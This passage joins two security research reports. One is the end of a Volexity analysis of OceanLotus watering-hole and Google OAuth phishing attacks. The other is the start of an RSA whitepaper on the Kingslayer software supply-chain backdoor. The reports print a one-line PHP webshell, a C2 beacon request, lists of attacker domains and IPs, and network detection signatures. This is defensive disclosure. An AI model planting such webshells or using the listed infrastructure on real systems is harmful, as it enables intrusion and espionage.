timezone data, etc.) are typically downloaded from a CDN URL and saved into localStorage variables to be later used by the script. They are stored as hex encoded data in a function called x00Config. If the client is not on the OceanLotus whitelist, this request just returns a single line of JavaScript setting a variable named timestamp. However, when the client is on the whitelist, Volexity has observed a popup window that slowly fades in on top of the legitimate website. In a recent attack, the popup appeared Google related and would redirect to a Google OAuth page designed to fool the user into providing access to their account to a malicious Google App. More details on this appear further down in this post. Request 2: GET /sync//adFeedback.js request will just return a timestamp variable. For a whitelisted system, a new script is delivered. A portion of this script shown below makes a request to download some additional config data. 11/20 The domain for the request is loaded from the SAPIS_ID cookie which was set by the first script. Before storing, it is split in two, the two substrings are reversed, then it is base64 encoded. An example of the SAPIS_ID cookie can be seen in the navigator section above. This ultimately calls the e.fn_getjson() function that makes a request like the following: GET /connect.js? timestamp=59ba12f2eb1e240cd9431624&code=rtp&s1=64c6e32b951adc4f3d5661dba2330141 This returns a JSON config like the following: These are saved and accessed via a getConfigs() function for different actions the script can perform. Ultimately, the script presents a popup over the site saying the content is blocked and requests 12/20 that the visitor sign in to continue. The code below presents this page and tracks progress using the postShow() and postDown() functions, which send GET requests using the URLs shown above. When one of the buttons is clicked, the user is redirected to login to the application. Whitelisted Targeting for Google Account Access Volexity was able to work with organizations on the OceanLotus whitelist that received special responses from Framework B. As a result, Volexity was able to directly observe two different OceanLotus attacks that attempted to fool the targeted user into providing access to their Google Accounts. OceanLotus attempts to compromise Google Accounts by prompting the user with a popup directing them to provide OAuth authorizations to a malicious Google App. Once a user has been flagged for targeting, they will receive a popup when accessing an OceanLotus compromised website once every 24 hours. This popup slowly fades in over top of the legitimate website and appears quite legitimate. Screen shots of two different observed popups are shown below. Version 1: Locked Content 13/20 Version 2: Chrome Sign In Regardless of which option the user clicks, they are redirected to Google to initiate OAuth access to one of OceanLotus Google Apps. Below is a screen shot of what a user would see prior to authorizing the the nefarious Google App. 14/20 OceanLotus Google App OAuth If the targeted user chooses ALLOW, the OceanLotus Google App immediately logs into the account and starts accessing it. The account has permissions to access all e-mail and contacts, which is all the access OceanLotus needs to conduct digital surveillance. Volexity strongly recommends that anyone that thinks they may have been targeted with this campaign or similar attacks review the Defense Against Ocean Lotus section below. OceanLotus is also known to be distributing malware in the form of fake Internet Explorer, Chrome, and Firefox updates. Volexity has observed similar attacks via spear phishing against targeted organizations that leverage some of the same malware infrastructure. In these cases, the following Amazon S3 buckets were used to distribute the malware through JavaScript as part of OceanLotus Framework B or direct links from spear phishing campaigns. 15/20 dload01.s3.amazonaws.com download-attachments.s3.amazonaws.com Volexity has observed multiple custom malware families and Cobalt Strike delivered through these campaigns. Details on the observed malware samples are forthcoming. Victim Websites Backdoored Volexity has worked with multiple victim organizations to assist with incident response efforts and to remedy their compromised systems. This process lead to the identification of different ways the OceanLotus group gains access to the compromised websites and how they maintain access. Initial Compromise Volexity has observed OceanLotus compromising sites one of two ways: 1. Direct user account access to the website s content management system (CMS) 2. Exploitation of outdated plugins and/or CMS components It is currently unknown how the intruders gain working credentials to the victim websites. Based on the TTPs leveraged by OceanLotus, it is possible that credentials could have been socially engineered (phished) from the victims or that the system administrators have been backdoored and a keylogger has assisted in capturing the login credentials. Alternatively, it is possible that some of the credentials were simply guessed. Several of the Vietnamese websites are running on Google s Blogspot platform, so it is reasonable to believe that those users Google accounts may be compromised. In the case of exploitation, the CMS software used by the victim organizations was often woefully out of date. Both the core components and added plugins had remotely exploitable vulnerabilities that lead to compromise. Persistent Access In all examined cases, OceanLotus attackers added PHP webshells to the victim websites. In most cases, the intruders added a new file that was designed to blend in with the web directory in which it was placed. In some cases, Volexity observed OceanLotus adding PHP code to an existing legitimate file already on the webserver. if(@$_POST['']&&@md5(md5($_POST['']))=='') $x="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";@eval($x($_POST['']));exit(); The hex code storage in $x translates to base64_decode. This code checks to see if variable-1 is set and then validates whether the MD5 of the MD5 of the value set for variable-2 matches an expected MD5 hash. If these both evaluate as true, the contents of variable-1 are base64 decoded and evaluated on the system. This is a simple webshell that, similar to a China Chopper shell, allows direct execution on the system under the privileges of the account running the webserver. The OceanLotus intruders use these shells to interact with the system and update their JavaScript code on the various websites. 16/20 OceanLotus also appears to have a potentially automated process that periodically checks if the webshells are still present on the victim systems. Campaign Infrastructure Volexity has identified a vast and sprawling amount of infrastructure leveraged by OceanLotus as a part of this strategic web compromise campaign. There are even more indicators associated with various malware campaigns that Volexity will detail in another OceanLotus post to follow. OceanLotus s attack infrastructure has several unique characteristics, which makes it easy to identify if a particular system is under their control. As a result, Volexity was able to identify numerous systems that were not directly observed in active attacks but are strongly believed to be tied to OceanLotus. In the sections below, the infrastructure has been separated into active and inactive/unknown categories. If the infrastructure is listed as active, this means that Volexity has directly observed the hostname s use in an attack. If the infrastructure is listed as inactive/unknown, this means that Volexity found evidence the hostname was used in a past attack but is no longer in use or it has never been observed in a direct attack but has unique characteristics indicative of OceanLotus infrastructure. Active Hostname IPv4 Address IPv6 Address a.doulbeclick.org 45.76.147.201 2001:19f0:4400:48ea:5400:ff:fe71:3201 ad.adthis.org 45.77.39.101 2001:19f0:4400:48fd:5400:ff:fe71:3202 ad.jqueryclick.com 64.62.174.146 api.querycore.com 64.62.174.41 browserextension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com 79.143.87.174 cdn-js.com 128.199.227.80 cdn.adsfly.co 45.32.100.179 2001:19f0:4400:4798:5400:ff:fe71:3200 cdn.disqusapi.com 45.76.179.28 2001:19f0:4400:4989:5400:ff:fe71:3204 cloudflare-api.com 45.32.105.45 cory.ns.webjzcnd.com 139.59.223.191 googlescripts.com 45.114.117.164 health-ray-id.com 138.197.236.215 2604:a880:2:d0::378c:e001 hit.asmung.net 45.32.114.49 jquery.google-script.org 45.32.105.45 js.ecommer.org 45.76.179.151 2001:19f0:4400:48fd:5400:ff:fe71:3202 s.jscore-group.com 64.62.174.17 17/20 s1.gridsumcontent.com 103.28.44.112 s1.jqueryclick.com 64.62.174.145 ssl.security.akamaihd-d.com 37.59.198.131 stat.cdnanalytic.com 203.114.75.22 stats.widgetapi.com 64.62.174.99 track-google.com 203.114.75.73 update.security.akamaihd-d.com 89.33.64.207 update.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 wiget.adsfly.co 45.32.100.179 2001:19f0:4400:4798:5400:ff:fe71:3200 www.googleuserscontent.org 139.59.217.207 2400:6180:0:d0::4315:7001 Inactive/Unknown Status Volexity was able to identify a substantial amount of infrastructure that belongs to OceanLotus that is setup in a manner consistent with the above hostnames. However, Volexity has not directly observed attacks leveraging these hostnames. Hostname IPv4 Address IPv6 Address ad.linksys-analytic.com 64.62.174.16 ads.alternativeads.net 45.77.39.101 2001:19f0:4400:48fd:5400:ff:fe71:3202 api.2nd-weibo.com 64.62.174.146 api.analyticsearch.org 64.62.174.41 api.baiduusercontent.com 79.143.87.174 api.disquscore.com 128.199.227.80 api.fbconnect.net* sinkholed cache.akamaihd-d.com 89.33.64.232 cloud.corewidget.com 139.59.217.207 2400:6180:0:d0::4315:7001 core.alternativeads.net 139.59.220.12 2400:6180:0:d0::4315:9001 d3.advertisingbaidu.com 139.59.223.191 eclick.analyticsearch.org 64.62.174.21 google-js.net 45.32.105.45 google-js.org 45.32.105.45 google-script.net 45.32.105.45 gs.baidustats.com 103.28.44.115 18/20 linked.livestreamanalytic.com 139.59.220.10 2400:6180:0:d0::4315:8001 linksys-analytic.com 64.62.174.17 live.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 static.livestreamanalytic.com 139.59.220.10 2400:6180:0:d0::4315:8001 stats.corewidget.com 139.59.217.207 2400:6180:0:d0::4315:7001 update.akamaihd-d.com 37.59.198.130 update.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 upgrade.liveupdateplugins.com 128.199.90.216 2400:6180:0:d0::4315:c001 widget.jscore-group.com 64.62.174.9 Defending Against OceanLotus While the described attack campaign relies on fooling a user, the popups on the websites are quite convincing and legitimate looking. As a result, Volexity would recommend immediately putting in blocks or sinkholes for the domains and IP addresses listed above to prevent profiling and possible exploitation. The observed attacks thus far have relied on social engineering campaigns; however, it would be trivial for OceanLotus to introduce an exploit into this chain. As for malware indicators, Volexity will be providing additional data related to malware and backdoor infrastructure in a future write-up to follow soon. When it comes to Google accounts, Volexity would recommend that users enable the2-Step Authentication. This is an effective way to prevent access to a Google account should the password be compromised. However, in the case of this OceanLotus campaign, the attackers are leveraging a Google App that has OAuth authorized access to the victim s e-mail and contacts. This effectively bypasses 2-Step authentication as a result. Users should be very careful to only authorize legitimate and known Google Apps. Users can verify what Google Apps have access to their account by visiting the following URL: https://myaccount.google.com/u/1/permissions This will list the Google Apps with access to the account along with their permission levels. It is possible to defend against unauthorized applications and increase a Google Accounts security through the Google Advanced Protection Program as well Users can further verify what Google Apps and devices are accessing their account via the following steps: Log into Gmail from a web browser via https://mail.google.com Scroll to the bottom of the page and click Details to see a list of recent accesses to the account If any access stands out as coming from an unauthorized application or address, the guidance in 19/20 the steps on the following page should be reviewed: https://support.google.com/mail/answer/7036019 Finally, for website administrators, the key recommendations are as follows: Use strong passwords for CMS and system authentication Restrict access to the system and CMS functionality as much as possible (limited users, ACLs, etc.) Implement two-factor (2FA) where possible Keep operating systems, CMS software, and CMS plugins up-to-date Disable or remove any accounts that are no longer needed or are unrecognized Network Signatures In addition to the domains and IP addresses, the following network signatures can be used to detect various OceanLotus profiling and targeting activity. alert http $HOME_NET any -> $EXTERNAL_NET any (msg: Volex OceanLotus JavaScript Load (connect.js) ; flow:to_server,established; content: ; http_method; content: connect.js? timestamp= ; http_uri; sid:2017083001; ) alert http $EXTERNAL_NET any -> $HOME_NET any (msg: Volex OceanLotus JavaScript Fake Page URL Builder Response ; flow:to_client,established; file_data;content: {|22|link|22|:|22|http depth:13; file_data; content: |22|load|22| ; sid:2017083002; rev:1;) alert http $EXTERNAL_NET any -> $HOME_NET any (msg: Volex OceanLotus System Profiling JavaScript (linkStorage.x00SOCKET) ; flow:to_client,established; file_data; content: linkStorage.x00SOCKET ; sid:2017083003;) Conclusion Volexity believes the OceanLotus threat group has rapidly advanced its capabilities and is now one of the more sophisticated APT actors currently in operation. While Volexity does not typically engage in attempting attribution of any threat actor, Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam. This is largely due to the extreme and wide-scale nature of certain targeting that would be extremely unlikely to align with the interests of those outside of Vietnam. As a result, Volexity believes that OceanLotus has been rapidly developing a highly skilled and organized computer network exploitation (CNE) capability. 20/20 WHITEPAPER KINGSLAYER A SUPPLY CHAIN ATTACK RSA RESEARCH CONTENTS Content and liability disclaimer Executive summary Summary Targeted takedown of Codoso malware Unexpected finding A backdoor in product used by sysadmins Targeted takedown and sinkholing of www.oraclesoft[.]net An irresistible enticement for Kingslayer actors Eleven and a half weeks Kingslayer connections to Codoso and Shell_Crew Recalling another software supply-chain attack Kingslayer s memory-resident brother, the K2 Trojan Why software supply-chain attacks are here to stay Software vendors, and sysadmins on notice How was the Kingslayer investigation informed? Detection of Kingslayer, and the next software supply chain attack How to investigate if you might have been compromised by Kingslayer Conclusion Acknowledgements Annex 1: Kingslayer Indicators of Compromise (IOCs) Appendix A: Event log analyzer application service executable analysis Appendix B: Select forensic findings from an enterprise admin s machine infected with Kingslayer and the K2 secondary malware CONTENT AND LIABILITY DISCLAIMER This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors. RSA Security LLC, EMC Corporation, Dell, Inc. and their affiliates (collectively, ) have exercised reasonable care in the collecting, processing, and reporting of this information but have not independently verified, validated, or audited the data to verify the accuracy or completeness of the information. RSA shall not be responsible for any errors or omissions contained on this Research Paper, and reserves the right to make changes anytime without notice. Mention of non-RSA products or services is provided for informational purposes only and constitutes neither an endorsement nor a recommendation by RSA. All RSA and third-party information provided in this Research Paper is provided on an basis. RSA DISCLAIMS ALL WARRANTIES, EXPRESSED OR IMPLIED, WITH REGARD TO ANY INFORMATION (INCLUDING ANY SOFTWARE, PRODUCTS, OR SERVICES) PROVIDED IN THIS RESEARCH PAPER, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. Some jurisdictions do not allow the exclusion of implied warranties, so the above exclusion may not apply to you. In no event shall RSA be liable for any damages whatsoever, and in particular RSA shall not be liable for direct, special, indirect, consequential, or incidental damages, or damages for lost profits, loss of revenue or loss of use, cost of replacement goods, loss or damage to data arising out of the use or inability to use any RSA website, any RSA product or service. This includes damages arising from use of or in reliance on the documents or information present on this Research Paper, even if RSA has been advised of the possibility of such damages. Copyright 2017 Dell Inc. or its subsidiaries. All Rights Reserved. Dell, EMC, RSA and other trademarks are trademarks of Dell Inc. or its subsidiaries. Other trademarks may be the property of their respective owners. Published in the USA February 2017. EXECUTIVE SUMMARY RSA Research investigated the source of suspicious, observed beaconing thought to be associated with targeted malware. In the course of this tactical hunt for unidentified code, RSA discovered a sophisticated attack on a software supply-chain involving a Trojan inserted in otherwise legitimate software; software that is typically used by enterprise system administrators. We are sharing details of this attack investigation, along with mitigation and detection strategies, to promote awareness and preparation for future or ongoing software supply-chain attacks. SUMMARY In notable aviation incidents, aviation experts are charged to perform an investigation and share the findings in incident reports. Pilot trainers, airlines and aircraft manufacturers dig into the investigation reports with the goal of preventing such an incident from happening again. These reports and their ostensive goal, preventing an incident involving loss of life, have been the foundation of what is arguably the safest form of transportation. Policies, procedures and aircraft themselves are now safer than ever. Likewise, network defenders may dig into breach reports with the aim of preventing the next loss of valuable business information from the networks for which they are responsible. Helping to prevent the next loss of business or mission critical information from a sophisticated exploitation campaign is, at least, one of the major goals of this report. You might notice we did not say prevention of compromise. After reading this report, it will be obvious that preventing the advanced enterprise compromise represented by Kingslayer, would be difficult for any network defender. Preventing such types of compromises from sophisticated actors has always been challenging. The analysts behind this Kingslayer research project subscribe to the philosophy that detecting and responding to a compromise, before it leads to business risk, is an achievable goal. In this Kingslayer post-mortem report, RSA Research describes a sophisticated software application supply chain attack that may have otherwise gone unnoticed by its targets. This attack is different in that it appears to have specifically targeted Windows operating system administrators of large and, perhaps, sensitive organizations. These organizations appeared on a list of customers still displayed on the formerly subverted software vendor s website. Nearly two years after the Kingslayer campaign was initiated, we still do not know how many of the customers listed on the website may have been breached, or possibly are still compromised, by the Kingslayer perpetrators. A NOTE ABOUT ATTRIBUTION The malware and activities described in the Kingslayer post-mortem report shares code, tactics and unique malware artifacts with a large amount of other malware employed by actors in campaigns attributed to various named threat groups. RSA Research has, for years, dubbed this group of common tools and tactics Shell_Crew, since the first RSA Shell_Crew report released TARGETED TAKEDOWN OF CODOSO MALWARE Early in our investigation of, and takedown operation against, a broad exploitation campaign we call Schoolbell1 , RSA Research observed unidentified beaconing to the URL www.oraclesoft[.]net2. We did not know what was causing the beaconing, but we suspected it was malware. This URL resolved to an IP address that, at the time, also resolved to another known malicious domain. This additional, malicious domain, google-dash[.]com3 , was used for command and control (C2) by a variant of PGV_PVID malware that had no antivirus (AV) coverage at the time it was submitted to VirusTotal in April 2016 (Figure 1). For more information on the malware behind this broad exploitation campaign, we recommend reading the Schoolbell report. in 2014. However, shared malware development supply and infrastructure does not necessarily indicate that the espionage-focused actors behind the keyboards in this campaign, are all the same people as campaigns analyzed by other researchers. Refer to the section Kingslayer connections to Codoso and Shell_Crew for more details. s important to note threat actors often use domains which look like popular, well known domains, even going so far to temporarily park them on IP addresses associated with the legitimate entities but they have no link to the legitimate domain or company, as is the case throughout this research. Figure 1. Zero out of fifty five antivirus solutions detected this malware at time of first submission http://blogs.rsa.com/schoolbell-class-is-in-session s important to note threat actors often use domains which look like well-known domains but they have no link to the legitimate domain or company s important to note threat actors often use domains which look like well-known domains but they have no link to the legitimate domain or company UNEXPECTED FINDING We did not know what malware type might be using the domain www.oraclesoft[.]net, but through passive analysis, we identified and contacted an infected organization. Following some significant monitoring efforts by the cooperating infected subject, endpoint forensic analysis, and reverse engineering, RSA Research came to an unexpected conclusion. A software application used by system administrators to analyze Windows logs had been subverted at its distribution point with malicious, signed code, back in April 2015. The remaining sections of this paper will discuss how that conclusion was made. A BACKDOOR IN PRODUCT USED BY SYSADMINS Further research allowed RSA analysts to determine the origin of the offending software. For the purposes of this publication, we will refer to the unnamed software vendor as Alpha . Alpha owns and operates a website designed to help Windows system administrators interpret and troubleshoot problems indicated in Windows event logs. The website also offers paid subscribers a license to a tool that helps with analyzing Windows event logs. It is this software, and its updates, that were subverted. RSA Research obtained a copy of the software suspected of containing the compromise. Figure 2 gives an overview of the general infection chain and C2. Figure 2 Kingslayer compromise infection chain For purposes of MSI downloads and for auto-updating the application, Alpha maintains multiple websites. During the time these particular websites were subverted, any user who attempted a new install or allowed their current version to auto-update (the default action) received the malicious version of the software. This action occurred via an .htaccess redirect on two of Alpha websites (both MSI download and automated update sites) that pointed to a website controlled by the malicious actors. This actor-controlled website hosted the subverted, signed versions of the application service executable, and MSI containing the Trojan. Once the install or update was complete, the software would attempt to load secondary payloads. RSA Research observed the legitimate application used a valid Authenticode signature issued by Alpha. At least three binaries, as well as an MSI software installation package, were determined to have been modified for malicious purposes using the Alpha application s original source code, and signed with the stolen code signing private key. RSA Research contacted Alpha, who subsequently divulged that their software packaging system was compromised and had delivered this compromised binary from 09 April 2015 to 25 April 2015. Complicating our initial attempt at dynamic analysis of the suspected backdoor in the RSA Research lab was the employment of an unusual diurnal beacon sleep algorithm. The The backdoor was configured to only beacon to www.oraclesoft[.]net between the hours of 1500 to 0000 (3 pm to midnight) UTC; a daily window of 9 hours. It was also configured to only beacon four days a week; on Saturday, Tuesday, Thursday and Friday. The exact intent behind this temporal beaconing algorithm is unclear. More details on Kingslayer s backdoor sleep algorithm are found in the Kingslayer executable analysis in Appendix A. TARGETED TAKEDOWN AND SINKHOLING OF WWW.ORACLESOFT[.]NET Armed with the evidence that www.oraclesoft[.]net was being used strictly for malicious purposes, RSA Research sinkholed4 it to further inform our Kingslayer investigation. Within a few days of the sinkholing, RSA Research identified many of the infected organizations beaconing to our sinkhole and provided compromise notifications. One of the infected organizations, dubbed Iota for the purposes of this publication, subsequently engaged the RSA Incident Response (IR) team for remediation assistance. AN IRRESISTIBLE ENTICEMENT FOR KINGSLAYER ACTORS Although we do not know the exact reasons the Kingslayer actors chose to subvert Alpha s software product, the list of possible end-users of the application likely served as a powerful motivator. As stated earlier, a free application license was offered to subscribers of Alpha s event log information portal service. While we do not know how many of these subscribers took advantage of the free license and installed the application during the subversion window, it is logical that some did. Organizations who, at some time, subscribed to the event log portal are displayed on Alpha s website and include: 4 major telecommunications providers 10+ western military organizations 24+ Fortune 500 companies 5 major defense contractors 36+ major IT product manufacturers or solutions providers 24+ western government organizations 24+ banks and financial institutions 45+ higher educational institutions https://en.wikipedia.org/wiki/DNS_sinkhole ELEVEN AND A HALF WEEKS Because we have an incomplete picture of the successful Kingslayer target set, our timeline has some significant gaps. One important gap begging for explanation was the time between when Alpha s websites and software distribution were remediated on 26 April 2015, and the time when forensic evidence shows that Kingslayer visited the Iota network on 15 July 2015 (Figure 3). Figure 3 Kingslayer substantive event timeline One might surmise that if Iota was of particular interest to the Kingslayer actors, then less than eleven and a half weeks would pass before exploitation of their target network. One possible explanation is that Iota was not a preferred target at all. Rather, the eleven and a half weeks was spent by the actors exploiting potentially more lucrative targets than Iota. In effect, RSA Research proposes that Iota was an inconsequential target, passed over for some sufficient time for more important exploitation to be executed. This is why a supply chain attack is attractive to threat actors; a single compromise within the supply chain can yield numerous targets with minimal additional effort. Alpha issued a Security Notification on their website on 30 June 2016 and updated the notification on July 17, 2016 at RSA s request, following findings from further investigation on Iota s network compromised by Kingslayer. KINGSLAYER CONNECTIONS TO CODOSO AND SHELL_CREW The Kingslayer backdoor, discovered during an RSA Research excavation into common C2 infrastructure and malware bytecode, shares tactics previously observed used by Shell_Crew, an adversary RSA Research reported on in January 2014 5 . The specific infrastructure overlapping with the Kingslayer campaign was tied to an adversary identified as Codoso by Palo Alto 6 and ProofPoint 7 in the first quarter of 2016, and the apparent operational infrastructure harvesting campaign that we call Schoolbell. We do not have high confidence that the Codoso perpetrators are directly related to the Shell_Crew activity encountered in 2013 and 2014, but we observed that they use common resources and tools. For one, Codoso and Shell_Crew use continuously evolving versions of malware for which no builder or source code has been found in the wild. These include older Derusbi variants, as well as the newly pressed Rekaf, TXER, PGV_ PVID and Bergard as described by ProofPoint, PaloAlto, and in the Schoolbell blog post. This indicates that they have some common, restricted source for this distinctive malware. Consistent common malware bytecode, strings, and encoding routines were also noted by other researchers such as Proofpoint. These attributes are, thus far, unique to the activity groups and have allowed RSA Research and others to track malware clusters as they appear in the wild. For consistency we will attribute the activity in the Kingslayer campaign to Kingslayer, but acknowledge some risk of erroneously conflating it with other threat groups labeled variously by other researchers as Codoso, as well as historic activity that RSA Research has grouped together as Shell_Crew. The clearest operational links between Kingslayer and other recent campaigns attributed to Codoso are overlapping domains and IP addresses used for C2 in 2015 and 2016. The Kingslayer C2 URL www.oraclesoft[.]net has temporal overlaps with identified infrastructure from seven other C2 domains and twelve unique C2 IP addresses associated with at least twenty four unique samples of malware attributed to Codoso by ProofPoint and Palo Alto (Figure 4, attached also in Annex), and described in the Schoolbell blogpost by RSA Research. https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/ https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks Figure 4 How Kingslayer backdoor is linked to identified Codoso/Schoolbell campaign infrastructure (available for download in Annex 1) RECALLING ANOTHER SOFTWARE SUPPLY-CHAIN ATTACK The Kingslayer campaign shares similarities with another supply-chain attack. In the Monju Incident 8 the attackers subverted an otherwise legitimate software server by using a redirect to a different, unrelated website controlled by the actors. Like Kingslayer, the target system with the already installed software would attempt to get an update, but instead received a malicious payload purporting to be an update that consisted of the original application software bundled with a Trojan, instead of a legitimate update. In the Kingslayer attack, systems attempting to get updates to an already installed Windows operating systems log analysis software program were transparently redirected to a website controlled by the Kingslayer actors, in which the illegitimate website would download a subverted update executable. What may have differed from the Monju incident was the fact that while all software installations that attempted to update during the Kingslayer campaign received a malicious but otherwise functioning update, we do not know how many of them also received the secondary malware. It is this secondary malware that has not yet been found in the wild. We have no evidence to suggest the actors behind the Monju Incident and Kingslayer are related, other than they used one or more of the same tactics. http://www.contextis.com/documents/30/TA10009_20140127_-_CTI_Threat_Advisory_-_ The_Monju_Incident1.pdf KINGSLAYER S MEMORY-RESIDENT BROTHER, THE K2 TROJAN RSA Research believes all of the particular Alpha application installations attempting to update during the 17 day Kingslayer subversion window received a malicious but otherwise functioning update. We do not know how many of them also received the secondary malware. Using passive analysis, RSA Research was able to identify the probable beaconing activity pattern used by the secondary malware. Like the Kingslayer backdoor loader, the secondary malware used the domain www.oraclesoft[.]net for C2. We have dubbed this secondary malware Kingslayer Two or The beaconing pattern of K2 differed from the Kingslayer backdoor that loaded it. K2 beacons every ten minutes without a defined sleep period. Based on passively observed beacon activity from three different K2-infected systems, we believe K2 s HTTP GET beacon pattern is a three to four digit load identifier that may represent the K2 malware load sequence assigned to each unique infection. This number appeared to be both unique, and static for each infected system. So 3423 in Table 1 might represent the 3,423rd unique system loaded with the K2 Trojan. Table 1 Kingslayer secondary malware K2 with possible load identifier highlighted in yellow GET /softs/updatecheck.html?3423&464336 HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Host: www.oraclesoft.net RSA Research also has insight into K2 Trojan s capabilities based on the artifacts left on a system that had K2 installed. (See Appendix B) From the forensic artifacts, RSA Research infers that K2 s capabilities include: running arbitrary Windows shell commands with SYSTEM-level privileges, upload and download of files, and execution of programs uploaded by the attackers. WHY SOFTWARE SUPPLY-CHAIN ATTACKS ARE HERE TO STAY Supply-chain attacks provide strategic advantages to attackers for several reasons. First, they provide one compromise vector to multiple potential targets. Second, supply chain exploitation attacks, by their very nature, are stealthy and have the potential to provide the attacker access to their targets for a much longer period than malware delivered by other common means, by evading traditional network analysis and detection tools. And finally, software supply chain attacks offer considerable bang for the buck against otherwise hardened targets9 . https://www.ncsc.gov.uk/content/files/protected_files/guidance_files/Cyber-security-risks-inthe-supply-chain.pdf In the case of Kingslayer, this especially rings true because the specific system-administrator-related systems most likely to be infected offer the ideal beachhead and operational staging environment for systematic exploitation of a large enterprise. Subverting an application used almost exclusively by enterprise Windows system administrators gives the perpetrators direct access to the most sensitive parts on an organization s network via a workstation or server used regularly by the king of the network. A system administrator s workstation and cache of credentials invariably provides the most access of any system on an enterprise network. In our experience, the credentials maintained by system administrators usually enable extensive access to internal and external network infrastructure of even the most sensitive organization s enterprise. RSA Research observed Kingslayer installed on the workstation of the senior systems administrator at one organization and on the domain controllers of another organization. We assess that installations of the targeted application on workstations or servers with unprivileged users would be exceptions, rather than the rule, because the purpose of the targeted log analyzer software is to be used by system, security, and other privileged administrators. SOFTWARE VENDORS, AND SYSADMINS ON NOTICE Subversion of an application preferentially used by enterprise system or security administrators provides an advanced threat group a nearly unprecedented best bang for the buck. There is no need to craft phishing emails, or sort the chaff from successful but unfruitful malware infections. It would not be hard to posit that Kingslayer might serve as a template for other attacks on otherwise hardened enterprise networks. This should put the developers of applications and software aimed for exclusive use by enterprise network administrators on notice. Although the following are good tenants of all software vendors, they are especially important when the application in question would disproportionality be used by administrators of a network. These include: File integrity monitoring Secure (dedicated or virtually private) hosting Validated time stamping of digital signatures Secure storage of and deployment of code-signing keys, ideally employing a High Security Module (HSM) Comprehensive network and endpoint visibility of development environment Breach disclosure policy that ensures timely incident notification to affected customers Enterprise network administrators should take heed that they are perhaps the most important and pivotal target for advanced threats interested in what might be found on those enterprise networks10 . Network admins should not exempt their own systems, or systems to which only they have access, from network and endpoint visibility. Sysadmins should also contribute to and follow a change control policy that evaluates the software vendor and the software itself for potential risk, prior to installing it11 . HOW WAS THE KINGSLAYER INVESTIGATION INFORMED? The analysis that informed the Kingslayer campaign investigation is described in general terms as iterative, using many and any friendly means employed by a multi-disciplinary team. While characterizing the purpose, impact and extent of the malicious activity perpetrated by the Kingslayer campaign operators, RSA Research provided dozens of hours of advanced incident and analysis support to infected organizations identified by sinkholing and passive means. Sometimes our support was in exchange for threat intelligence artifacts left behind by the actors. At other times we provided advice and expertise with the understanding that the infected organization would not or could not provide any information in return. We collaborated with many colleagues in the security industry, reached out to new partners as well as called upon the extensive capabilities of SecureWorks, a Dell Technologies company. DETECTION OF KINGSLAYER, AND THE NEXT SOFTWARE SUPPLY CHAIN ATTACK Techniques deployed by industry-wide antivirus and endpoint prevention technologies are decidedly poorly equipped for detecting, much less preventing, a remote code-loading backdoor inserted into what would otherwise be a legitimate software product. This is exactly what the Kingslayer actors did in their campaign. In our experience, signature or behavior-based antivirus is unable to differentiate between a network-enabled feature and a backdoor in the product. In fact, RSA Research first identified the Kingslayer backdoor installed on an enterprise system that employed next generation antivirus. The antivirus failed to detect anything, even when it appeared the backdoor had downloaded and loaded the secondary malware into memory, and opened connections for C2. http://www.slideshare.net/harmj0y/i-hunt-sys-admins-20 http://csrc.nist.gov/scrm/documents/briefings/Workshop-Brief-on-Cyber-Supply-Chain-BestPractices.pdf RSA NETWITNESS ENDPOINT EDR TOOL Compare this antivirus failure with RSA NetWitness Endpoint, an Enterprise Detection and Response (EDR) tool that is available to RSA customers and is notably used by the RSA IR Team in their customer engagements. On a lab Windows system, RSA Research recreated the Kingslayer backdoor installation, then deployed RSA NetWitness Endpoint. In Figure 5, we see that RSA NetWitness Endpoint identified an instance of [FLOATING_CODE], revealing that the backdoored Service.exe process established multiple connections. [FLOATING_CODE] identifies a block of code present in a process private executable address space, as opposed to a library properly loaded from disk. Floating code is missing a normal DLL header. In otherwise, legitimate software with a backdoor such as that employed by Kingslayer, the network connections were established from that allocated block of code, which is suspicious. Figure 5 RSA NetWitness Endpoint detection of the Kingslayer backdoor In Figure 6, a threat hunter behind the RSA NetWitness Endpoint console dug into the network details tab, to reveal the multiple connections to a suspicious domain. Figure 6 RSA Netwitness Endpoint details the network connections kicked off by Kingslayer s floating code RSA NETWITNESS PACKETS AND LOGS While RSA NetWitness Endpoint will flag the floating code of Kingslayer, a method to detect the network traffic of a backdoor compromise like Kingslayer with network packet visibility is also important. Consider that the RSA IR team found a Kingslayer-compromised organization enjoyed multiple weeks of static compromise before the actor(s) arrived on scene to begin interactive lateral exploitation. Early detection of compromise, then, can be key to dramatically reducing business risk. The Event Stream Analysis (ESA) capability in RSA NetWitness technology was designed by researchers in the RSA Data Sciences team after analyzing billions of packets of known C2 activity. ESA is the statistical threat hunting machine that never goes to sleep, using machine learning to calculate scores on a very large number of HTTP sessions and domains. Indeed, even the unusual beaconing patterns of the Kingslayer Trojan were flagged by the ESA as Suspected C&C (Figure7). Figure 7 ESA identifies Kingslayer beaconing as Suspected C&C Even without the interactive C2 of an operator behind the keyboard that might trigger other alerts, consider how a Security Operations Center will be alerted to suspicious activity, and stop the compromise before an actor starts controlling assets inside the network. For more details on how to hunt using RSA NetWitness capabilities such as ESA, refer to the RSA NetWitness hunting guide12. https://community.rsa.com/docs/DOC-62341 HOW TO INVESTIGATE IF YOU MIGHT HAVE BEEN COMPROMISED BY KINGSLAYER An enterprise network finding that the subverted application was installed prior to and/or updated during the compromise window of 09-25 April 2015, should initiate an investigation. While prevention of compromise through Kingslayer might not have been possible without the most stringent change control policy and thorough software analysis and auditing, an investigation of what may have been done by Kingslayer actors should be initiated. It is possible that the actors have established and still maintain avenues of access, especially on high-value target networks. How can you tell if a system has had this subverted software installed? The Yara signature included in the Kingslayer report annex, combined with a Yara-capable EDR tool, such as RSA NetWitness Endpoint, will 